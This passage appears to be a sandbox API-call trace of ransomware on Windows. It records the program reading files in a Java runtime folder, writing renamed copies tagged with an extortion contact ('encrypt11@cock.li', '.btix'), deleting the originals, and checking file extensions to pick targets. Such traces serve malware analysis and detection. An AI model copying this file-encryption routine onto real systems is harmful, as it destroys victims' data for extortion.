Files\\Java\\jre1.8.0_144\\bin\\jp2launcher.exe") returned 54 [0149.122] lstrlenW (lpString=".zip") returned 4 [0149.122] lstrcmpiW (lpString1=".zip", lpString2=".exe") returned 1 [0149.122] lstrlenW (lpString=".rar") returned 4 [0149.122] lstrcmpiW (lpString1=".rar", lpString2=".exe") returned 1 [0149.122] lstrlenW (lpString=".bz2") returned 4 [0149.122] lstrcmpiW (lpString1=".bz2", lpString2=".exe") returned -1 [0149.122] lstrlenW (lpString=".7z") returned 3 [0149.122] lstrcmpiW (lpString1=".7z", lpString2="exe") returned -1 [0149.122] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\jp2launcher.exe") returned 54 [0149.122] lstrlenW (lpString=".dbf") returned 4 [0149.122] lstrcmpiW (lpString1=".dbf", lpString2=".exe") returned -1 [0149.122] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\jp2launcher.exe") returned 54 [0149.122] lstrlenW (lpString=".1cd") returned 4 [0149.122] lstrcmpiW (lpString1=".1cd", lpString2=".exe") returned -1 [0149.122] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\jp2launcher.exe") returned 54 [0149.122] lstrlenW (lpString=".jpg") returned 4 [0149.122] lstrcmpiW (lpString1=".jpg", lpString2=".exe") returned 1 [0149.122] lstrcmpiW (lpString1=".dll", lpString2=".btix") returned 1 [0149.122] lstrlenW (lpString="jsoundds.dll") returned 12 [0149.122] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\jsoundds.dll" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\jsoundds.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x39c [0149.123] GetFileSizeEx (in: hFile=0x39c, lpFileSize=0x33dff14 | out: lpFileSize=0x33dff14*=31296) returned 1 [0149.123] CloseHandle (hObject=0x39c) returned 1 [0149.123] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\jsoundds.dll" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\jsoundds.dll")) returned 0x20 [0149.123] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\jsoundds.dll.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\jsoundds.dll.id-b4197730.[encrypt11@cock.li].btix")) returned 0xffffffff [0149.123] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\jsoundds.dll" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\jsoundds.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x39c [0149.123] SetFilePointerEx (in: hFile=0x39c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33dfec0 | out: lpNewFilePointer=0x0) returned 1 [0149.123] SetFilePointerEx (in: hFile=0x39c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33dfec0 | out: lpNewFilePointer=0x0) returned 1 [0149.123] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\jsoundds.dll.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\jsoundds.dll.id-b4197730.[encrypt11@cock.li].btix"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3a0 [0149.124] GetLastError () returned 0x0 [0149.124] ReadFile (in: hFile=0x39c, lpBuffer=0x3e35020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x33dfecc, lpOverlapped=0x0 | out: lpBuffer=0x3e35020*, lpNumberOfBytesRead=0x33dfecc*=0x7a40, lpOverlapped=0x0) returned 1 [0149.179] WriteFile (in: hFile=0x3a0, lpBuffer=0x3e35020*, nNumberOfBytesToWrite=0x7a50, lpNumberOfBytesWritten=0x33dfc94, lpOverlapped=0x0 | out: lpBuffer=0x3e35020*, lpNumberOfBytesWritten=0x33dfc94*=0x7a50, lpOverlapped=0x0) returned 1 [0149.180] ReadFile (in: hFile=0x39c, lpBuffer=0x3e35020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x33dfecc, lpOverlapped=0x0 | out: lpBuffer=0x3e35020*, lpNumberOfBytesRead=0x33dfecc*=0x0, lpOverlapped=0x0) returned 1 [0149.180] WriteFile (in: hFile=0x3a0, lpBuffer=0x3e35020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x33dfc94, lpOverlapped=0x0 | out: lpBuffer=0x3e35020*, lpNumberOfBytesWritten=0x33dfc94*=0xec, lpOverlapped=0x0) returned 1 [0149.180] SetEndOfFile (hFile=0x3a0) returned 1 [0149.180] CloseHandle (hObject=0x3a0) returned 1 [0149.188] SetFilePointerEx (in: hFile=0x39c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33dfec0 | out: lpNewFilePointer=0x0) returned 1 [0149.188] SetEndOfFile (hFile=0x39c) returned 1 [0149.189] CloseHandle (hObject=0x39c) returned 1 [0149.189] SetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\jsoundds.dll.id-B4197730.[encrypt11@cock.li].btix", dwFileAttributes=0x20) returned 1 [0149.189] DeleteFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\jsoundds.dll" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\jsoundds.dll")) returned 1 [0149.189] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\jsoundds.dll") returned 51 [0149.189] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\jsoundds.dll") returned 51 [0149.189] lstrlenW (lpString=".doc") returned 4 [0149.189] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0149.189] lstrlenW (lpString=".docx") returned 5 [0149.189] lstrcmpiW (lpString1=".docx", lpString2="s.dll") returned -1 [0149.189] lstrlenW (lpString=".pdf") returned 4 [0149.189] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0149.190] lstrlenW (lpString=".xls") returned 4 [0149.190] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0149.190] lstrlenW (lpString=".xlsx") returned 5 [0149.190] lstrcmpiW (lpString1=".xlsx", lpString2="s.dll") returned -1 [0149.190] lstrlenW (lpString=".ppt") returned 4 [0149.190] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0149.190] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\jsoundds.dll") returned 51 [0149.190] lstrlenW (lpString=".zip") returned 4 [0149.190] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0149.190] lstrlenW (lpString=".rar") returned 4 [0149.190] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0149.190] lstrlenW (lpString=".bz2") returned 4 [0149.190] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0149.190] lstrlenW (lpString=".7z") returned 3 [0149.190] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0149.190] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\jsoundds.dll") returned 51 [0149.190] lstrlenW (lpString=".dbf") returned 4 [0149.190] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0149.190] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\jsoundds.dll") returned 51 [0149.190] lstrlenW (lpString=".1cd") returned 4 [0149.190] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0149.190] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\jsoundds.dll") returned 51 [0149.190] lstrlenW (lpString=".jpg") returned 4 [0149.190] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0149.190] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\jsoundds.dll") returned 51 [0149.190] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\jsoundds.dll") returned 51 [0149.190] lstrlenW (lpString=".doc") returned 4 [0149.190] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0149.190] lstrlenW (lpString=".docx") returned 5 [0149.190] lstrcmpiW (lpString1=".docx", lpString2="s.dll") returned -1 [0149.190] lstrlenW (lpString=".pdf") returned 4 [0149.190] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0149.190] lstrlenW (lpString=".xls") returned 4 [0149.190] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0149.191] lstrlenW (lpString=".xlsx") returned 5 [0149.191] lstrcmpiW (lpString1=".xlsx", lpString2="s.dll") returned -1 [0149.191] lstrlenW (lpString=".ppt") returned 4 [0149.191] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0149.191] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\jsoundds.dll") returned 51 [0149.191] lstrlenW (lpString=".zip") returned 4 [0149.191] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0149.191] lstrlenW (lpString=".rar") returned 4 [0149.191] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0149.191] lstrlenW (lpString=".bz2") returned 4 [0149.191] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0149.191] lstrlenW (lpString=".7z") returned 3 [0149.191] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0149.191] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\jsoundds.dll") returned 51 [0149.191] lstrlenW (lpString=".dbf") returned 4 [0149.191] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0149.191] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\jsoundds.dll") returned 51 [0149.191] lstrlenW (lpString=".1cd") returned 4 [0149.191] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0149.191] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\jsoundds.dll") returned 51 [0149.191] lstrlenW (lpString=".jpg") returned 4 [0149.191] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0149.191] lstrcmpiW (lpString1=".exe", lpString2=".btix") returned 1 [0149.191] lstrlenW (lpString="keytool.exe") returned 11 [0149.191] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\keytool.exe" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\keytool.exe"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x39c [0149.192] GetFileSizeEx (in: hFile=0x39c, lpFileSize=0x33dff14 | out: lpFileSize=0x33dff14*=16448) returned 1 [0149.192] CloseHandle (hObject=0x39c) returned 1 [0149.192] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\keytool.exe" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\keytool.exe")) returned 0x20 [0149.192] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\keytool.exe.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\keytool.exe.id-b4197730.[encrypt11@cock.li].btix")) returned 0xffffffff [0149.192] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\keytool.exe" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\keytool.exe"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x39c [0149.192] SetFilePointerEx (in: hFile=0x39c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33dfec0 | out: lpNewFilePointer=0x0) returned 1 [0149.192] SetFilePointerEx (in: hFile=0x39c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33dfec0 | out: lpNewFilePointer=0x0) returned 1 [0149.192] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\keytool.exe.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\keytool.exe.id-b4197730.[encrypt11@cock.li].btix"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3a0 [0149.192] GetLastError () returned 0x0 [0149.192] ReadFile (in: hFile=0x39c, lpBuffer=0x3e35020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x33dfecc, lpOverlapped=0x0 | out: lpBuffer=0x3e35020*, lpNumberOfBytesRead=0x33dfecc*=0x4040, lpOverlapped=0x0) returned 1 [0149.208] WriteFile (in: hFile=0x3a0, lpBuffer=0x3e35020*, nNumberOfBytesToWrite=0x4050, lpNumberOfBytesWritten=0x33dfc94, lpOverlapped=0x0 | out: lpBuffer=0x3e35020*, lpNumberOfBytesWritten=0x33dfc94*=0x4050, lpOverlapped=0x0) returned 1 [0149.210] ReadFile (in: hFile=0x39c, lpBuffer=0x3e35020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x33dfecc, lpOverlapped=0x0 | out: lpBuffer=0x3e35020*, lpNumberOfBytesRead=0x33dfecc*=0x0, lpOverlapped=0x0) returned 1 [0149.210] WriteFile (in: hFile=0x3a0, lpBuffer=0x3e35020*, nNumberOfBytesToWrite=0xea, lpNumberOfBytesWritten=0x33dfc94, lpOverlapped=0x0 | out: lpBuffer=0x3e35020*, lpNumberOfBytesWritten=0x33dfc94*=0xea, lpOverlapped=0x0) returned 1 [0149.210] SetEndOfFile (hFile=0x3a0) returned 1 [0149.210] CloseHandle (hObject=0x3a0) returned 1 [0149.210] SetFilePointerEx (in: hFile=0x39c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33dfec0 | out: lpNewFilePointer=0x0) returned 1 [0149.210] SetEndOfFile (hFile=0x39c) returned 1 [0149.211] CloseHandle (hObject=0x39c) returned 1 [0149.211] SetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\keytool.exe.id-B4197730.[encrypt11@cock.li].btix", dwFileAttributes=0x20) returned 1 [0149.211] DeleteFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\keytool.exe" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\keytool.exe")) returned 1 [0149.211] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\keytool.exe") returned 50 [0149.211] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\keytool.exe") returned 50 [0149.211] lstrlenW (lpString=".doc") returned 4 [0149.211] lstrcmpiW (lpString1=".doc", lpString2=".exe") returned -1 [0149.211] lstrlenW (lpString=".docx") returned 5 [0149.211] lstrcmpiW (lpString1=".docx", lpString2="l.exe") returned -1 [0149.211] lstrlenW (lpString=".pdf") returned 4 [0149.211] lstrcmpiW (lpString1=".pdf", lpString2=".exe") returned 1 [0149.212] lstrlenW (lpString=".xls") returned 4 [0149.212] lstrcmpiW (lpString1=".xls", lpString2=".exe") returned 1 [0149.212] lstrlenW (lpString=".xlsx") returned 5 [0149.212] lstrcmpiW (lpString1=".xlsx", lpString2="l.exe") returned -1 [0149.212] lstrlenW (lpString=".ppt") returned 4 [0149.212] lstrcmpiW (lpString1=".ppt", lpString2=".exe") returned 1 [0149.212] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\keytool.exe") returned 50 [0149.212] lstrlenW (lpString=".zip") returned 4 [0149.212] lstrcmpiW (lpString1=".zip", lpString2=".exe") returned 1 [0149.212] lstrlenW (lpString=".rar") returned 4 [0149.212] lstrcmpiW (lpString1=".rar", lpString2=".exe") returned 1 [0149.212] lstrlenW (lpString=".bz2") returned 4 [0149.212] lstrcmpiW (lpString1=".bz2", lpString2=".exe") returned -1 [0149.212] lstrlenW (lpString=".7z") returned 3 [0149.212] lstrcmpiW (lpString1=".7z", lpString2="exe") returned -1 [0149.212] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\keytool.exe") returned 50 [0149.212] lstrlenW (lpString=".dbf") returned 4 [0149.212] lstrcmpiW (lpString1=".dbf", lpString2=".exe") returned -1 [0149.212] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\keytool.exe") returned 50 [0149.212] lstrlenW (lpString=".1cd") returned 4 [0149.212] lstrcmpiW (lpString1=".1cd", lpString2=".exe") returned -1 [0149.212] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\keytool.exe") returned 50 [0149.212] lstrlenW (lpString=".jpg") returned 4 [0149.212] lstrcmpiW (lpString1=".jpg", lpString2=".exe") returned 1 [0149.212] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\keytool.exe") returned 50 [0149.212] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\keytool.exe") returned 50 [0149.212] lstrlenW (lpString=".doc") returned 4 [0149.212] lstrcmpiW (lpString1=".doc", lpString2=".exe") returned -1 [0149.212] lstrlenW (lpString=".docx") returned 5 [0149.213] lstrcmpiW (lpString1=".docx", lpString2="l.exe") returned -1 [0149.213] lstrlenW (lpString=".pdf") returned 4 [0149.213] lstrcmpiW (lpString1=".pdf", lpString2=".exe") returned 1 [0149.213] lstrlenW (lpString=".xls") returned 4 [0149.213] lstrcmpiW (lpString1=".xls", lpString2=".exe") returned 1 [0149.213] lstrlenW (lpString=".xlsx") returned 5 [0149.213] lstrcmpiW (lpString1=".xlsx", lpString2="l.exe") returned -1 [0149.213] lstrlenW (lpString=".ppt") returned 4 [0149.213] lstrcmpiW (lpString1=".ppt", lpString2=".exe") returned 1 [0149.213] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\keytool.exe") returned 50 [0149.213] lstrlenW (lpString=".zip") returned 4 [0149.213] lstrcmpiW (lpString1=".zip", lpString2=".exe") returned 1 [0149.213] lstrlenW (lpString=".rar") returned 4 [0149.213] lstrcmpiW (lpString1=".rar", lpString2=".exe") returned 1 [0149.213] lstrlenW (lpString=".bz2") returned 4 [0149.213] lstrcmpiW (lpString1=".bz2", lpString2=".exe") returned -1 [0149.213] lstrlenW (lpString=".7z") returned 3 [0149.213] lstrcmpiW (lpString1=".7z", lpString2="exe") returned -1 [0149.213] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\keytool.exe") returned 50 [0149.213] lstrlenW (lpString=".dbf") returned 4 [0149.213] lstrcmpiW (lpString1=".dbf", lpString2=".exe") returned -1 [0149.213] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\keytool.exe") returned 50 [0149.213] lstrlenW (lpString=".1cd") returned 4 [0149.214] lstrcmpiW (lpString1=".1cd", lpString2=".exe") returned -1 [0149.214] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\keytool.exe") returned 50 [0149.214] lstrlenW (lpString=".jpg") returned 4 [0149.214] lstrcmpiW (lpString1=".jpg", lpString2=".exe") returned 1 [0149.214] lstrcmpiW (lpString1=".exe", lpString2=".btix") returned 1 [0149.214] lstrlenW (lpString="klist.exe") returned 9 [0149.214] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\klist.exe" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\klist.exe"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x39c [0149.214] GetFileSizeEx (in: hFile=0x39c, lpFileSize=0x33dff14 | out: lpFileSize=0x33dff14*=16448) returned 1 [0149.214] CloseHandle (hObject=0x39c) returned 1 [0149.214] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\klist.exe" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\klist.exe")) returned 0x20 [0149.214] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\klist.exe.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\klist.exe.id-b4197730.[encrypt11@cock.li].btix")) returned 0xffffffff [0149.214] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\klist.exe" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\klist.exe"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x39c [0149.215] SetFilePointerEx (in: hFile=0x39c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33dfec0 | out: lpNewFilePointer=0x0) returned 1 [0149.215] SetFilePointerEx (in: hFile=0x39c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33dfec0 | out: lpNewFilePointer=0x0) returned 1 [0149.215] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\klist.exe.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\klist.exe.id-b4197730.[encrypt11@cock.li].btix"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x338 [0149.452] GetLastError () returned 0x0 [0149.452] ReadFile (in: hFile=0x39c, lpBuffer=0x3e35020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x33dfecc, lpOverlapped=0x0 | out: lpBuffer=0x3e35020*, lpNumberOfBytesRead=0x33dfecc*=0x4040, lpOverlapped=0x0) returned 1 [0149.756] WriteFile (in: hFile=0x338, lpBuffer=0x3e35020*, nNumberOfBytesToWrite=0x4050, lpNumberOfBytesWritten=0x33dfc94, lpOverlapped=0x0 | out: lpBuffer=0x3e35020*, lpNumberOfBytesWritten=0x33dfc94*=0x4050, lpOverlapped=0x0) returned 1 [0149.757] ReadFile (in: hFile=0x39c, lpBuffer=0x3e35020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x33dfecc, lpOverlapped=0x0 | out: lpBuffer=0x3e35020*, lpNumberOfBytesRead=0x33dfecc*=0x0, lpOverlapped=0x0) returned 1 [0149.757] WriteFile (in: hFile=0x338, lpBuffer=0x3e35020*, nNumberOfBytesToWrite=0xe6, lpNumberOfBytesWritten=0x33dfc94, lpOverlapped=0x0 | out: lpBuffer=0x3e35020*, lpNumberOfBytesWritten=0x33dfc94*=0xe6, lpOverlapped=0x0) returned 1 [0149.757] SetEndOfFile (hFile=0x338) returned 1 [0149.757] CloseHandle (hObject=0x338) returned 1 [0149.757] SetFilePointerEx (in: hFile=0x39c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33dfec0 | out: lpNewFilePointer=0x0) returned 1 [0149.757] SetEndOfFile (hFile=0x39c) returned 1 [0149.758] CloseHandle (hObject=0x39c) returned 1 [0149.758] SetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\klist.exe.id-B4197730.[encrypt11@cock.li].btix", dwFileAttributes=0x20) returned 1 [0149.759] DeleteFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\klist.exe" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\klist.exe")) returned 1 [0149.759] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\klist.exe") returned 48 [0149.759] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\klist.exe") returned 48 [0149.759] lstrlenW (lpString=".doc") returned 4 [0149.759] lstrcmpiW (lpString1=".doc", lpString2=".exe") returned -1 [0149.759] lstrlenW (lpString=".docx") returned 5 [0149.759] lstrcmpiW (lpString1=".docx", lpString2="t.exe") returned -1 [0149.759] lstrlenW (lpString=".pdf") returned 4 [0149.759] lstrcmpiW (lpString1=".pdf", lpString2=".exe") returned 1 [0149.759] lstrlenW (lpString=".xls") returned 4 [0149.759] lstrcmpiW (lpString1=".xls", lpString2=".exe") returned 1 [0149.759] lstrlenW (lpString=".xlsx") returned 5 [0149.759] lstrcmpiW (lpString1=".xlsx", lpString2="t.exe") returned -1 [0149.759] lstrlenW (lpString=".ppt") returned 4 [0149.759] lstrcmpiW (lpString1=".ppt", lpString2=".exe") returned 1 [0149.759] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\klist.exe") returned 48 [0149.759] lstrlenW (lpString=".zip") returned 4 [0149.759] lstrcmpiW (lpString1=".zip", lpString2=".exe") returned 1 [0149.759] lstrlenW (lpString=".rar") returned 4 [0149.759] lstrcmpiW (lpString1=".rar", lpString2=".exe") returned 1 [0149.760] lstrlenW (lpString=".bz2") returned 4 [0149.760] lstrcmpiW (lpString1=".bz2", lpString2=".exe") returned -1 [0149.760] lstrlenW (lpString=".7z") returned 3 [0149.760] lstrcmpiW (lpString1=".7z", lpString2="exe") returned -1 [0149.760] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\klist.exe") returned 48 [0149.760] lstrlenW (lpString=".dbf") returned 4 [0149.760] lstrcmpiW (lpString1=".dbf", lpString2=".exe") returned -1 [0149.760] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\klist.exe") returned 48 [0149.760] lstrlenW (lpString=".1cd") returned 4 [0149.760] lstrcmpiW (lpString1=".1cd", lpString2=".exe") returned -1 [0149.760] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\klist.exe") returned 48 [0149.760] lstrlenW (lpString=".jpg") returned 4 [0149.760] lstrcmpiW (lpString1=".jpg", lpString2=".exe") returned 1 [0149.760] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\klist.exe") returned 48 [0149.760] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\klist.exe") returned 48 [0149.760] lstrlenW (lpString=".doc") returned 4 [0149.760] lstrcmpiW (lpString1=".doc", lpString2=".exe") returned -1 [0149.760] lstrlenW (lpString=".docx") returned 5 [0149.760] lstrcmpiW (lpString1=".docx", lpString2="t.exe") returned -1 [0149.760] lstrlenW (lpString=".pdf") returned 4 [0149.760] lstrcmpiW (lpString1=".pdf", lpString2=".exe") returned 1 [0149.760] lstrlenW (lpString=".xls") returned 4 [0149.761] lstrcmpiW (lpString1=".xls", lpString2=".exe") returned 1 [0149.761] lstrlenW (lpString=".xlsx") returned 5 [0149.761] lstrcmpiW (lpString1=".xlsx", lpString2="t.exe") returned -1 [0149.761] lstrlenW (lpString=".ppt") returned 4 [0149.761] lstrcmpiW (lpString1=".ppt", lpString2=".exe") returned 1 [0149.761] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\klist.exe") returned 48 [0149.761] lstrlenW (lpString=".zip") returned 4 [0149.761] lstrcmpiW (lpString1=".zip", lpString2=".exe") returned 1 [0149.761] lstrlenW (lpString=".rar") returned 4 [0149.761] lstrcmpiW (lpString1=".rar", lpString2=".exe") returned 1 [0149.761] lstrlenW (lpString=".bz2") returned 4 [0149.761] lstrcmpiW (lpString1=".bz2", lpString2=".exe") returned -1 [0149.761] lstrlenW (lpString=".7z") returned 3 [0149.761] lstrcmpiW (lpString1=".7z", lpString2="exe") returned -1 [0149.761] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\klist.exe") returned 48 [0149.761] lstrlenW (lpString=".dbf") returned 4 [0149.761] lstrcmpiW (lpString1=".dbf", lpString2=".exe") returned -1 [0149.761] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\klist.exe") returned 48 [0149.761] lstrlenW (lpString=".1cd") returned 4 [0149.761] lstrcmpiW (lpString1=".1cd", lpString2=".exe") returned -1 [0149.761] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\klist.exe") returned 48 [0149.761] lstrlenW (lpString=".jpg") returned 4 [0149.761] lstrcmpiW (lpString1=".jpg", lpString2=".exe") returned 1 [0149.761] lstrcmpiW (lpString1=".dll", lpString2=".btix") returned 1 [0149.761] lstrlenW (lpString="management.dll") returned 14 [0149.761] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\management.dll" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\management.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x39c [0149.762] GetFileSizeEx (in: hFile=0x39c, lpFileSize=0x33dff14 | out: lpFileSize=0x33dff14*=36928) returned 1 [0149.762] CloseHandle (hObject=0x39c) returned 1 [0149.762] GetFileAttributesW (lpFileName="C:\\Program 